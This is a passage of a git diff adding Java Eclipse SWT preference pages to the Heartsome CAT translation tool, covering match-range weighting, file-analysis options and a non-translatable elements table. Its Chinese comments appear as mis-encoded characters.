phLbl.setLayoutData(phLblData); + + Text equiTxt = new Text(new_cp, SWT.BORDER); + equiTxt.setLayoutData(equiTxtData); + validEquiTxt(equiTxt); + + Composite btnCmp = new Composite(new_cp, SWT.NONE); + GridLayoutFactory.swtDefaults().numColumns(2).margins(0, 0).applyTo(btnCmp); + GridDataFactory.swtDefaults().hint(btnCmpWidth, SWT.DEFAULT).applyTo(btnCmp); + + // 增加加æƒç³»æ•°é¢æ¿çš„按钮åŠå…¶äº‹ä»¶ + Button addBtn = new Button(btnCmp, SWT.NONE); + addBtn.setImage(addImage); + addBtn.setLayoutData(btn_data); + addBtn.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + if (index < 11) { + addEquiCmp(e, null); + } + } + }); + + // 删除加æƒç³»æ•°çš„按钮åŠå…¶äº‹ä»¶ + Button deleteBtn = new Button(btnCmp, SWT.NONE); + deleteBtn.setImage(deleteimage); + deleteBtn.setLayoutData(btn_data); + deleteBtn.addSelectionListener(new SelectionAdapter() { + public void widgetSelected(SelectionEvent e) { + deleteEquiCmp(e); + } + }); + + index = index + 1; + cp_parent.setData(String.valueOf(index), new_cp); + new_cp.setData("index", String.valueOf(index)); //$NON-NLS-1$ + +// new_cp.pack(); +// new_cp.layout(); + +// cp_parent.layout(); +// equiCmp.getParent().layout(); +// equiCmp.getParent().getParent().layout(); + equiCmp.getParent().getParent().getParent().layout(); + } + + /** + * 删除加æƒç³»æ•°é¢æ¿ + * @param e + */ + public void deleteEquiCmp(SelectionEvent e) { + Button deleteBtn = (Button) e.getSource(); + Composite cp = deleteBtn.getParent().getParent(); + Composite cp_parent = cp.getParent(); + Control[] ctr_cp = cp_parent.getChildren(); + Composite currentCp; + Composite nextCp; + Control[] currentCtrls; + Control[] nextCtrls; + Spinner cuSp; + Spinner nextSp; + int next = 0; + int current = 0; + int uplimit = 0; + + // get current rows index,we can get Composite by current rows index + current = Integer.parseInt(cp.getData("index").toString()); + + // if current composite is not the last Component + if (current < ctr_cp.length) { + next = current + 1; + currentCp = (Composite) ctr_cp[current - 1]; + nextCp = (Composite) ctr_cp[next - 1]; + currentCtrls = currentCp.getChildren(); + nextCtrls = nextCp.getChildren(); + cuSp = (Spinner) currentCtrls[3]; + nextSp = (Spinner) nextCtrls[3]; + cuSp.setEnabled(true); + nextSp.setEnabled(true); + nextSp.setSelection(cuSp.getSelection()); + nextSp.setEnabled(false); + } + ctr_cp[current - 1].dispose(); // delete current composite + + // reset index of whole container + uplimit = ctr_cp.length; + for (int j = current; j < uplimit; j++) { + Composite tempcp = (Composite) ctr_cp[j]; + tempcp.setData("index", String.valueOf(j)); //$NON-NLS-1$ + cp_parent.setData(String.valueOf(j), tempcp); + } + + index = ctr_cp.length - 1; + + // 设置æ¯ä¸€ä¸ªåŒ¹é…区间的最å°åŒ¹é…率 + for (int i = 1; i < matchParent.getChildren().length; i++) { + Composite _cmp = (Composite) matchParent.getChildren()[i]; + Spinner _minSp = (Spinner) _cmp.getChildren()[0]; + _minSp.setMinimum(matchParent.getChildren().length - i - 1); + Spinner _maxSp = (Spinner) _cmp.getChildren()[3]; + _minSp.setMaximum(Integer.parseInt(_maxSp.getText())); + } + +// cp_parent.pack(); +// cp_parent.layout(); + +// cp_parent.getParent().layout(); +// equiCmp.getParent().layout(); +// equiCmp.getParent().getParent().layout(); + equiCmp.getParent().getParent().getParent().layout(); + } + + /** + * 改å˜ç›¸å¯¹æœ€å°åŒ¹é…率的大å°æ—¶ï¼ŒåŠ¨æ€æ”¹å˜ä¸‹ä¸€è¡Œç›¸å¯¹æœ€å¤§åŒ¹é…çŽ‡çš„å¤§å° + * @param arg0 + */ + private void selected(SelectionEvent e) { + Composite currentCp, nextCp, parentCp; + int currentIndex = 0; + int currentValue = 0; + int upValue = 0; + int nextMinValue = 0; + Control[] paCtrls; + Control[] cuCtrls; + Control[] nextCtrls; + + Spinner sp3 = (Spinner) e.getSource(); + // 当å‰ç›¸å¯¹æœ€å°åŒ¹é…值 + currentValue = sp3.getSelection(); + currentCp = sp3.getParent(); + + parentCp = currentCp.getParent(); + + paCtrls = parentCp.getChildren(); + + cuCtrls = currentCp.getChildren(); + + Spinner cuMinSp = (Spinner) cuCtrls[0]; + cuMinSp.setSelection(currentValue); + + Spinner cuMaxSp = (Spinner) cuCtrls[3]; + upValue = cuMaxSp.getSelection(); + + currentIndex = Integer.parseInt(currentCp.getData("index").toString()); + cuMinSp.setMinimum(paCtrls.length - currentIndex + MINRATE); + + if (currentIndex >= paCtrls.length) { + if (currentValue > upValue) { + cuMinSp.setSelection(upValue); + } + parentCp.layout(); + parentCp.redraw(); + return; + } + + // 从当å‰åŠ æƒè®¾ç½®çš„下一æ¡è®¾ç½®å¼€å§‹ï¼Œç›´åˆ°ç»“æŸï¼Œ + for (int i = currentIndex + 1; i <= paCtrls.length; i++) { + int remain = paCtrls.length - i + MINRATE; + // 获å–下一个加æƒè®¾ç½®é¢æ¿ + nextCp = (Composite) paCtrls[i - 1]; + nextCtrls = nextCp.getChildren(); + Spinner nextMinSp = (Spinner) nextCtrls[0]; + // 最低值ä¸èƒ½å°äºŽè¿™ä¸ªåŒ¹é…之下所有匹é…区间的总数 + nextMinSp.setMinimum(remain); + + nextMinValue = nextMinSp.getSelection(); + Spinner nextMaxSp = (Spinner) nextCtrls[3]; + + // 如果当å‰å¾ªçŽ¯çš„相对最å°åŒ¹é…值å°äºŽå®ƒçš„最大值,设æˆç­‰äºŽæœ€å¤§å€¼ + if (nextMinValue > (currentValue - 1)) { + nextMinSp.setSelection(currentValue - 1); + } + + nextMaxSp.setSelection(currentValue - 1); + nextMinSp.setMaximum(nextMaxSp.getSelection()); + + currentValue = nextMinSp.getSelection(); + } + + parentCp.layout(); + parentCp.redraw(); + } + + @Override + protected void performDefaults() { + String equivalStr = preferenceStore.getDefaultString(QAConstant.FA_PREF_equivalent); + createMatchEqui(equivalStr); + } + + @Override + public boolean performOk() { + if (!isInit) { + return true; + } + + StringBuffer equivalSB = new StringBuffer(); + // 先获å–é‡å¤æ–‡æœ¬æ®µçš„加æƒç³»æ•° + Composite interRepeatCmp = (Composite) repeatCmp.getChildren()[0]; + Text text = (Text) interRepeatCmp.getChildren()[2]; + equivalSB.append(QAConstant._InternalRepeat + ":" + text.getText() + ";"); + + if (isUltimate) { + Composite exter101Cmp = (Composite) repeatCmp.getChildren()[1]; + text = (Text) exter101Cmp.getChildren()[2]; + equivalSB.append(QAConstant._External101 + ":" + text.getText() + ";"); + } + + Composite exter100Cmp = (Composite) repeatCmp.getChildren()[2 - (isUltimate ? 0 : 1)]; + text = (Text) exter100Cmp.getChildren()[2]; + equivalSB.append(QAConstant._External100 + ":" + text.getText() + ";"); + + for (int i = 0; i < matchParent.getChildren().length; i++) { + Composite cmp = (Composite) matchParent.getChildren()[i]; + Control[] ctr_cmp = cmp.getChildren(); + text = (Text) ctr_cmp[6]; + Spinner minSp = (Spinner) ctr_cmp[0]; + Spinner maxSp = (Spinner) ctr_cmp[3]; + + equivalSB.append(minSp.getSelection() + "-" + maxSp.getSelection() + ":" + text.getText() + ";"); + } + + preferenceStore.setValue(QAConstant.FA_PREF_equivalent, equivalSB.toString()); + + return true; + } + + /** + * 创建加æƒç³»ç»Ÿè®¾ç½®åŒºé—´ + */ + public void createMatchEqui(String equivalStr) { + boolean isDelete = false; + String[] equivalArray = equivalStr.split(";"); + for (int i = 0; i < equivalArray.length; i++) { + String equival = equivalArray[i]; + String matchStr = equival.substring(0, equival.indexOf(":")); + String equiValue = equival.substring(equival.indexOf(":") + 1, equival.length()); + // 先处ç†æ‰€æœ‰é‡å¤åŠ æƒç³»æ•° + if (QAConstant._InternalRepeat.equals(matchStr)) { + Composite interRepeatCmp = (Composite) repeatCmp.getChildren()[0]; + Text text = (Text) interRepeatCmp.getChildren()[2]; + text.setText(equiValue); + }else if (QAConstant._External101.equals(matchStr)) { + if (isUltimate) { + Composite exter101Cmp = (Composite) repeatCmp.getChildren()[1]; + Text text = (Text) exter101Cmp.getChildren()[2]; + text.setText(equiValue); + } + }else if (QAConstant._External100.equals(matchStr)) { + Composite exter100Cmp = (Composite) repeatCmp.getChildren()[2 - (isUltimate ? 0 : 1)]; + Text text = (Text) exter100Cmp.getChildren()[2]; + text.setText(equiValue); + }else { + int minMacth = Integer.parseInt(equival.substring(0, equival.indexOf("-"))); + int maxMatch = Integer.parseInt(equival.substring(equival.indexOf("-") + 1, equival.indexOf(":"))); + if (maxMatch == 99) { + // 如果最大匹é…率是99,那么就是模糊匹é…的第一个设置 + Composite macthCmp = (Composite) matchParent.getChildren()[0]; + Control[] ctls = macthCmp.getChildren(); + Text text = (Text) ctls[6]; + Spinner minSp = (Spinner) ctls[0]; + Spinner maxSp = (Spinner) ctls[3]; + + text.setText(equiValue); + minSp.setSelection(minMacth); + maxSp.setSelection(maxMatch); + } else { + if (!isDelete) { + // 若模糊匹é…区间有两个或两个以上的匹é…,那么先删除所有除第一个以外的其他设置 + if (matchParent.getChildren().length > 1) { + for (int j = matchParent.getChildren().length - 1; j >= 1; j--) { + Control[] ctls = matchParent.getChildren(); + ctls[j].dispose(); + } + index = 1; + } + + // 创建除第一个模糊匹é…之外的其他匹é…段 + int fixItemNum = equivalStr.indexOf("external101") == -1 ? 3 : 4; + for (int j = 0; j < equivalStr.split(";").length - fixItemNum; j++) { + Composite cmp = (Composite) ((Composite) matchParent.getChildren()[j]).getChildren()[7]; + Button addBtn = (Button) cmp.getChildren()[0]; + addEquiCmp(null, addBtn); + } + isDelete = true; + } + + int fixItemNum = equivalStr.indexOf("external101") == -1 ? 2 : 3; + Composite macthCmp = (Composite) matchParent.getChildren()[i - fixItemNum]; + Control[] ctls = macthCmp.getChildren(); + Text text = (Text) ctls[6]; + Spinner minSp = (Spinner) ctls[0]; + Spinner maxSp = (Spinner) ctls[3]; + + text.setText(equiValue); + minSp.setSelection(minMacth); + maxSp.setSelection(maxMatch); + } + } + } +// matchParent.pack(); + matchParent.layout(); + // matchParent.getParent().pack(); +// matchParent.getParent().layout(); + } + + @Override + public void dispose() { + if(addImage != null && !addImage.isDisposed()){ + addImage.dispose(); + } + if(deleteimage != null && !deleteimage.isDisposed()){ + deleteimage.dispose(); + } + super.dispose(); + } +} diff --git a/ts/net.heartsome.cat.ts.ui.qa/src/net/heartsome/cat/ts/ui/qa/preference/FileAnalysisInstalPage.java b/ts/net.heartsome.cat.ts.ui.qa/src/net/heartsome/cat/ts/ui/qa/preference/FileAnalysisInstalPage.java new file mode 100644 index 0000000..8979c6d --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.qa/src/net/heartsome/cat/ts/ui/qa/preference/FileAnalysisInstalPage.java @@ -0,0 +1,241 @@ +package net.heartsome.cat.ts.ui.qa.preference; + +import net.heartsome.cat.common.ui.HsImageLabel; +import net.heartsome.cat.common.util.CommonFunction; +import net.heartsome.cat.ts.core.qa.QAConstant; +import net.heartsome.cat.ts.ui.qa.Activator; +import net.heartsome.cat.ts.ui.qa.resource.Messages; +import net.heartsome.cat.ts.ui.resource.ImageConstant; + +import org.eclipse.jface.layout.GridLayoutFactory; +import org.eclipse.jface.preference.IPreferenceStore; +import org.eclipse.jface.preference.PreferencePage; +import org.eclipse.swt.SWT; +import org.eclipse.swt.events.SelectionEvent; +import org.eclipse.swt.events.SelectionListener; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.widgets.Button; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.Group; +import org.eclipse.swt.widgets.Label; +import org.eclipse.swt.widgets.Spinner; +import org.eclipse.ui.IWorkbench; +import org.eclipse.ui.IWorkbenchPreferencePage; + +/** + * 文件分æžçš„å‚æ•°è®¾ç½®ï¼Œé’ˆå¯¹äºŽå­—æ•°åˆ†æž + * @author robert 2012-05-04 + * @version + * @since JDK1.6 + */ +public class FileAnalysisInstalPage extends PreferencePage implements IWorkbenchPreferencePage { + public static final String ID = "net.heartsome.cat.ts.ui.qa.preference.FileAnalysisInstalPage"; + private IPreferenceStore preferenceStore; + /** 是å¦å¿½ç•¥å¤§å°å†™ */ + private Button ignoreCaseBtn; + /** 是å¦å¿½ç•¥æ ‡è®° */ + private Button ignoreTagBtn; + /** 上下文个数 */ + private Spinner contextSpinner; + + private Label tagPenaltyLbl; + private Spinner tagPenaltySpi; + + /** 是å¦è¿›è¡Œå†…部é‡å¤ */ + private Button interRepateBtn; + /** 是å¦è¿›è¡Œå†…éƒ¨åŒ¹é… */ + private Button interMatchBtn; + + private boolean isInit = false; + + public void init(IWorkbench workbench) { + + } + + public FileAnalysisInstalPage() { + setTitle(Messages.getString("preference.FileAnalysisInstalPage.title")); + setPreferenceStore(Activator.getDefault().getPreferenceStore()); + preferenceStore = getPreferenceStore(); + } + + @Override + protected Control createContents(Composite parent) { + isInit = true; + Composite tparent = new Composite(parent, SWT.NONE); + tparent.setLayout(new GridLayout()); + tparent.setLayoutData(new GridData(GridData.FILL_BOTH)); + + Group faGroup = new Group(tparent, SWT.NONE); + faGroup.setLayout(new GridLayout()); + faGroup.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + faGroup.setText(Messages.getString("preference.FileAnalysisInstalPage.faGroup")); + + String tip = Messages.getString("preference.FileAnalysisInstalPage.faImgLbl"); + HsImageLabel faImgLbl = new HsImageLabel(tip, + Activator.getImageDescriptor(ImageConstant.PREFERENCE_FA_analysis)); + Composite faLblCmp = faImgLbl.createControl(faGroup); + faLblCmp.setLayout(new GridLayout()); + faLblCmp.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + + ignoreCaseBtn = new Button(faLblCmp, SWT.CHECK); + ignoreCaseBtn.setText(Messages.getString("preference.FileAnalysisInstalPage.ignoreCaseBtn")); + + + ignoreTagBtn = new Button(faLblCmp, SWT.CHECK); + ignoreTagBtn.setText(Messages.getString("preference.FileAnalysisInstalPage.ignoreTagBtn")); + ignoreTagBtn.addSelectionListener(new SelectionListener() { + public void widgetSelected(SelectionEvent e) { + setTagPenaltyEnable(); + } + public void widgetDefaultSelected(SelectionEvent e) { + setTagPenaltyEnable(); + } + }); + + GridData spinnerData = new GridData(30, SWT.DEFAULT); + + + // 罚分制度 + Composite tagPenaltyCmp = new Composite(faLblCmp, SWT.NONE); + GridLayoutFactory.fillDefaults().extendedMargins(0, 0, 0, 0).numColumns(3).applyTo(tagPenaltyCmp); + tagPenaltyCmp.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + + tagPenaltyLbl = new Label(tagPenaltyCmp, SWT.NONE); + tagPenaltyLbl.setText(Messages.getString("preference.FileAnalysisInstalPage.tagPenalty")); + + tagPenaltySpi = new Spinner(tagPenaltyCmp, SWT.BORDER); + tagPenaltySpi.setLayoutData(spinnerData); + GridLayout pGl = new GridLayout(2, false); + pGl.marginHeight = 0; + pGl.marginWidth = 0; + tagPenaltySpi.setMinimum(1); + tagPenaltySpi.setMaximum(100); + + + if (CommonFunction.checkEdition("U")) { + // 上下文个数 + Composite contextCmp = new Composite(faLblCmp, SWT.NONE); + GridLayoutFactory.fillDefaults().extendedMargins(0, 0, 0, 0).numColumns(3).applyTo(contextCmp); + contextCmp.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + + Label contextLbl = new Label(contextCmp, SWT.NONE); + contextLbl.setText(Messages.getString("preference.FileAnalysisInstalPage.contextLbl")); + + contextSpinner = new Spinner(contextCmp, SWT.BORDER); + contextSpinner.setLayoutData(spinnerData); + contextSpinner.setMinimum(1); + contextSpinner.setMaximum(100); + contextSpinner.setIncrement(1); // 步值为1 + contextSpinner.setSelection(1); + Label unitLbl = new Label(contextCmp, SWT.NONE); + unitLbl.setText(Messages.getString("preference.FileAnalysisInstalPage.unitLbl")); + } + faImgLbl.computeSize(); + + + // 分æžæ–‡ä»¶è®¾ç½® + Group faFileGroup = new Group(tparent, SWT.NONE); + faFileGroup.setLayout(new GridLayout()); + faFileGroup.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + faFileGroup.setText(Messages.getString("preference.FileAnalysisInstalPage.faFileGroup")); + + String faFileTip = Messages.getString("preference.FileAnalysisInstalPage.faFileTip"); + HsImageLabel faFileImgLbl = new HsImageLabel(faFileTip, + Activator.getImageDescriptor(ImageConstant.PREFERENCE_FA_fileAnalysis)); + + Composite faFileLblCmp = faFileImgLbl.createControl(faFileGroup); + faFileLblCmp.setLayout(new GridLayout()); + faFileLblCmp.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + + interRepateBtn = new Button(faFileLblCmp, SWT.CHECK); + interRepateBtn.setText(Messages.getString("preference.FileAnalysisInstalPage.faFileInterRepeate")); + + interMatchBtn = new Button(faFileLblCmp, SWT.CHECK); + interMatchBtn.setText(Messages.getString("preference.FileAnalysisInstalPage.faFileInterMatch")); + + faFileImgLbl.computeSize(); + initListener(); + initValue(); + return parent; + } + + private void initListener(){ + interRepateBtn.addSelectionListener(new SelectionListener() { + public void widgetSelected(SelectionEvent arg0) { + if (interRepateBtn.getSelection()) { + interMatchBtn.setEnabled(true); + }else { + interMatchBtn.setSelection(false); + interMatchBtn.setEnabled(false); + } + } + public void widgetDefaultSelected(SelectionEvent arg0) { + if (interRepateBtn.getSelection()) { + interMatchBtn.setEnabled(true); + }else { + interMatchBtn.setSelection(false); + interMatchBtn.setEnabled(false); + } + } + }); + } + + private void initValue() { + ignoreCaseBtn.setSelection(preferenceStore.getBoolean(QAConstant.FA_PREF_ignoreCase)); + ignoreTagBtn.setSelection(preferenceStore.getBoolean(QAConstant.FA_PREF_ignoreTag)); + if (CommonFunction.checkEdition("U")) { + contextSpinner.setSelection(preferenceStore.getInt(QAConstant.FA_PREF_contextNum)); + } + tagPenaltySpi.setSelection(preferenceStore.getInt(QAConstant.FA_PREF_tagPenalty)); + + interRepateBtn.setSelection(preferenceStore.getBoolean(QAConstant.FA_PREF_interRepeate)); + interMatchBtn.setSelection(preferenceStore.getBoolean(QAConstant.FA_PREF_interMatch)); + if (interRepateBtn.getSelection()) { + interMatchBtn.setEnabled(true); + }else { + interMatchBtn.setSelection(false); + interMatchBtn.setEnabled(false); + } + + setTagPenaltyEnable(); + } + + private void setTagPenaltyEnable(){ + boolean ignoreTag = ignoreTagBtn.getSelection(); + tagPenaltyLbl.setEnabled(!ignoreTag); + tagPenaltySpi.setEnabled(!ignoreTag); + } + + @Override + protected void performDefaults() { + ignoreCaseBtn.setSelection(preferenceStore.getDefaultBoolean(QAConstant.FA_PREF_ignoreCase)); + ignoreTagBtn.setSelection(preferenceStore.getDefaultBoolean(QAConstant.FA_PREF_ignoreTag)); + if (CommonFunction.checkEdition("U")) { + contextSpinner.setSelection(preferenceStore.getDefaultInt(QAConstant.FA_PREF_contextNum)); + } + tagPenaltySpi.setSelection(preferenceStore.getDefaultInt(QAConstant.FA_PREF_tagPenalty)); + + interRepateBtn.setSelection(preferenceStore.getDefaultBoolean(QAConstant.FA_PREF_interRepeate)); + interMatchBtn.setSelection(preferenceStore.getDefaultBoolean(QAConstant.FA_PREF_interMatch)); + setTagPenaltyEnable(); + } + + @Override + public boolean performOk() { + if (!isInit) { + return true; + } + preferenceStore.setValue(QAConstant.FA_PREF_ignoreCase, ignoreCaseBtn.getSelection()); + preferenceStore.setValue(QAConstant.FA_PREF_ignoreTag, ignoreTagBtn.getSelection()); + if (CommonFunction.checkEdition("U")) { + preferenceStore.setValue(QAConstant.FA_PREF_contextNum, contextSpinner.getSelection()); + } + preferenceStore.setValue(QAConstant.FA_PREF_tagPenalty, tagPenaltySpi.getSelection()); + + preferenceStore.setValue(QAConstant.FA_PREF_interRepeate, interRepateBtn.getSelection()); + preferenceStore.setValue(QAConstant.FA_PREF_interMatch, interMatchBtn.getSelection()); + return true; + } +} diff --git a/ts/net.heartsome.cat.ts.ui.qa/src/net/heartsome/cat/ts/ui/qa/preference/NonTranslationQAPage.java b/ts/net.heartsome.cat.ts.ui.qa/src/net/heartsome/cat/ts/ui/qa/preference/NonTranslationQAPage.java new file mode 100644 index 0000000..9e9547a --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.qa/src/net/heartsome/cat/ts/ui/qa/preference/NonTranslationQAPage.java @@ -0,0 +1,626 @@ +package net.heartsome.cat.ts.ui.qa.preference; + +import java.text.MessageFormat; +import java.util.ArrayList; +import java.util.HashMap; +import java.util.Iterator; +import java.util.List; +import java.util.Map; + +import net.heartsome.cat.common.ui.HsImageLabel; +import net.heartsome.cat.ts.core.qa.QAConstant; +import net.heartsome.cat.ts.ui.qa.Activator; +import net.heartsome.cat.ts.ui.qa.dialogs.AddOrEditNontransElementDialog; +import net.heartsome.cat.ts.ui.qa.model.NontransElementBean; +import net.heartsome.cat.ts.ui.qa.model.QAModel; +import net.heartsome.cat.ts.ui.qa.nonTransElement.NonTransElementOperate; +import net.heartsome.cat.ts.ui.qa.resource.Messages; +import net.heartsome.cat.ts.ui.resource.ImageConstant; + +import org.eclipse.jface.dialogs.IDialogConstants; +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.jface.layout.GridDataFactory; +import org.eclipse.jface.layout.GridLayoutFactory; +import org.eclipse.jface.preference.IPreferenceStore; +import org.eclipse.jface.preference.PreferencePage; +import org.eclipse.jface.viewers.ArrayContentProvider; +import org.eclipse.jface.viewers.CellLabelProvider; +import org.eclipse.jface.viewers.ColumnViewerToolTipSupport; +import org.eclipse.jface.viewers.ComboViewer; +import org.eclipse.jface.viewers.DoubleClickEvent; +import org.eclipse.jface.viewers.IDoubleClickListener; +import org.eclipse.jface.viewers.ISelection; +import org.eclipse.jface.viewers.ISelectionChangedListener; +import org.eclipse.jface.viewers.IStructuredSelection; +import org.eclipse.jface.viewers.ITableLabelProvider; +import org.eclipse.jface.viewers.LabelProvider; +import org.eclipse.jface.viewers.SelectionChangedEvent; +import org.eclipse.jface.viewers.StructuredSelection; +import org.eclipse.jface.viewers.TableViewer; +import org.eclipse.jface.viewers.TableViewerColumn; +import org.eclipse.jface.viewers.Viewer; +import org.eclipse.jface.viewers.ViewerCell; +import org.eclipse.jface.viewers.ViewerSorter; +import org.eclipse.jface.window.ToolTip; +import org.eclipse.swt.SWT; +import org.eclipse.swt.events.SelectionAdapter; +import org.eclipse.swt.events.SelectionEvent; +import org.eclipse.swt.events.SelectionListener; +import org.eclipse.swt.graphics.Image; +import org.eclipse.swt.graphics.Point; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.widgets.Button; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.Event; +import org.eclipse.swt.widgets.Group; +import org.eclipse.swt.widgets.Listener; +import org.eclipse.swt.widgets.Table; +import org.eclipse.swt.widgets.TableColumn; +import org.eclipse.ui.IWorkbench; +import org.eclipse.ui.IWorkbenchPreferencePage; + +/** + * éžè¯‘元素的首选项设置 + * @author robert 2011-11-30 + */ +public class NonTranslationQAPage extends PreferencePage implements IWorkbenchPreferencePage { + + public static final String ID = "net.heartsome.cat.ts.ui.qa.preference.NonTranslationQAPage"; + + private Button addBtn; + private Button editBtn; + private Button deleteBtn; + + private TableViewer tableViewer; + private ComboViewer comboViewer; + + private NonTransElementOperate operate; + /** 内置éžè¯‘元素,从QAMoldeä¸­èŽ·å– */ + private List internalElementList = new ArrayList(); + private List defaultTipList = new ArrayList(); + /** 从éžè¯‘元素库中å–出的éžè¯‘å…ƒç´ çš„é›†åˆ */ + private List dataList; + private boolean isInit = false; + + public NonTranslationQAPage() { + setTitle(Messages.getString("qa.preference.NonTranslationQAPage.nonTransElement")); + initValue(); + } + + /** + * åˆå§‹åŒ–ç›¸å…³æ•°æ® + */ + public void initValue() { + operate = new NonTransElementOperate(); + operate.openNonTransDB(); + internalElementList = QAModel.getInterNonTransElements(); + defaultTipList.add(new NontransElementBean(null, Messages.getString("qa.preference.NonTranslationQAPage.addInterElement"), + null, null)); + dataList = operate.getNonTransElements(); + } + + public void init(IWorkbench workbench) { + + } + + @Override + protected Control createContents(Composite parent) { + isInit = true; + Composite tparent = new Composite(parent, SWT.NONE); + tparent.setLayout(new GridLayout()); + GridDataFactory.fillDefaults().grab(true, true).hint(550, 400).applyTo(tparent); + + Group instalGroup = new Group(tparent, SWT.NONE); + instalGroup.setLayout(new GridLayout()); + instalGroup.setLayoutData(new GridData(GridData.FILL_BOTH)); + instalGroup.setText(Messages.getString("qa.preference.NonTranslationQAPage.nonTransElementInstal")); + + String tip = Messages.getString("preference.NonTranslationQAPage.instalLbl"); + HsImageLabel instalLbl = new HsImageLabel(tip, + Activator.getImageDescriptor(ImageConstant.PREFERENCE_QA_nontrans_nontransInstal)); + Composite instalCmp = instalLbl.createControl(instalGroup); + instalCmp.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + + + // 一排按钮 + Composite buttonCmp = new Composite(instalGroup, SWT.NONE); + GridLayoutFactory.fillDefaults().margins(0, 0).numColumns(4).applyTo(buttonCmp); + GridDataFactory.fillDefaults().grab(true, false).applyTo(buttonCmp); + + addBtn = new Button(buttonCmp, SWT.NONE); + addBtn.setText(Messages.getString("qa.preference.NonTranslationQAPage.add")); + + editBtn = new Button(buttonCmp, SWT.NONE); + editBtn.setText(Messages.getString("qa.preference.NonTranslationQAPage.editBtn")); + editBtn.setEnabled(false); + + deleteBtn = new Button(buttonCmp, SWT.NONE); + deleteBtn.setText(Messages.getString("qa.preference.NonTranslationQAPage.delete")); + deleteBtn.setEnabled(false); + + Point addPoint = addBtn.computeSize(SWT.DEFAULT, SWT.DEFAULT, true); + Point editPoint = editBtn.computeSize(SWT.DEFAULT, SWT.DEFAULT, true); + Point delPoint = deleteBtn.computeSize(SWT.DEFAULT, SWT.DEFAULT, true); + GridData btnData = new GridData(); + int width = Math.max(addPoint.x, Math.max(editPoint.x, delPoint.x)); + btnData.widthHint = width + 10; + addBtn.setLayoutData(btnData); + editBtn.setLayoutData(btnData); + deleteBtn.setLayoutData(btnData); + + Map comboTip = new HashMap(); + comboTip.put(QAConstant.QA_NONTRANS_NAME, Messages.getString("qa.preference.NonTranslationQAPage.addInterElement")); + + comboViewer = new ComboViewer(buttonCmp, SWT.NONE); + comboViewer.setContentProvider(new ArrayContentProvider()); + comboViewer.setLabelProvider(new NonTransElementCmbProvider()); + + comboViewer.getCombo().setToolTipText(Messages.getString("qa.preference.NonTranslationQAPage.addInterElement")); + comboViewer.setInput(internalElementList); + comboViewer.getCombo().setText(Messages.getString("qa.preference.NonTranslationQAPage.addInterElement")); + + GridDataFactory.fillDefaults().hint(150, SWT.DEFAULT).grab(false, false).applyTo(comboViewer.getCombo()); + + // ---------------------下é¢æ˜¯éžè¯‘元素展示框--------------------------------- + tableViewer = new TableViewer(instalGroup, SWT.BORDER | SWT.H_SCROLL | SWT.V_SCROLL | SWT.MULTI + | SWT.FULL_SELECTION); + final Table table = tableViewer.getTable(); + table.setLinesVisible(true); + table.setHeaderVisible(true); + ColumnViewerToolTipSupport.enableFor(tableViewer,ToolTip.NO_RECREATE); + + String[] columnNames = new String[] {Messages.getString("qa.preference.NonTranslationQAPage.tipColumn"), + Messages.getString("qa.preference.NonTranslationQAPage.contentColumn"), + Messages.getString("qa.preference.NonTranslationQAPage.regularColumn")}; + tableViewer.setLabelProvider(new NonTransElementTableProvider()); + int[] columnAlignments = new int[] { SWT.LEFT, SWT.LEFT, SWT.LEFT}; + + for (int i = 0; i < columnNames.length; i++) { + TableViewerColumn column = new TableViewerColumn(tableViewer, columnAlignments[i]); + column.getColumn().setText(columnNames[i]); + column.getColumn().setWidth(50); + column.setLabelProvider(new NonTransElementTableProvider(i)); + if (i == 0) { + column.getColumn().addSelectionListener(new SelectionAdapter() { + boolean asc = true; + public void widgetSelected(SelectionEvent e) { + tableViewer.setSorter(asc ? TableSorter.name_ASC : TableSorter.name_DESC); + asc = !asc; + } + }); + } + + if (i == 1) { + column.getColumn().addSelectionListener(new SelectionAdapter() { + boolean asc = true; + public void widgetSelected(SelectionEvent e) { + tableViewer.setSorter(asc ? TableSorter.content_ASC : TableSorter.content_DESC); + asc = !asc; + } + }); + } + } + + tableViewer.setContentProvider(new ArrayContentProvider()); + tableViewer.getTable().setLayoutData(new GridData(GridData.FILL_BOTH)); + tableViewer.setInput(dataList); + GridDataFactory.fillDefaults().grab(true, true).applyTo(table); + + // 让列表列宽动æ€å˜åŒ– + table.addListener(SWT.Resize, new Listener() { + public void handleEvent(Event event) { + final Table table = ((Table) event.widget); + final TableColumn[] columns = table.getColumns(); + event.widget.getDisplay().syncExec(new Runnable() { + public void run() { + double[] columnWidths = new double[] {0.2, 0.2, 0.58}; + for (int i = 0; i < columns.length; i++) + columns[i].setWidth((int) (table.getBounds().width * columnWidths[i])); + } + }); + } + }); + + instalLbl.computeSize(); + initListener(); + + return parent; + } + + + /** + * 一些事件的添加 + */ + public void initListener() { + + // éžè¯‘元素的添加事件 + addBtn.addSelectionListener(new SelectionListener() { + public void widgetSelected(SelectionEvent e) { + addNonTransElement(); + } + + public void widgetDefaultSelected(SelectionEvent e) { + addNonTransElement(); + } + }); + + editBtn.addSelectionListener(new SelectionListener() { + public void widgetSelected(SelectionEvent arg0) { + editNontransElement(); + } + public void widgetDefaultSelected(SelectionEvent arg0) { + editNontransElement(); + } + }); + + // 删除按钮的点击æ“作 + deleteBtn.addSelectionListener(new SelectionListener() { + public void widgetSelected(SelectionEvent e) { + deleteElement(); + } + + public void widgetDefaultSelected(SelectionEvent e) { + deleteElement(); + } + }); + + // ç»™comboViewer添加事件,åŒæ—¶ä¼ å…¥å†…置元素 + comboViewer.getCombo().addSelectionListener(new SelectionListener() { + public void 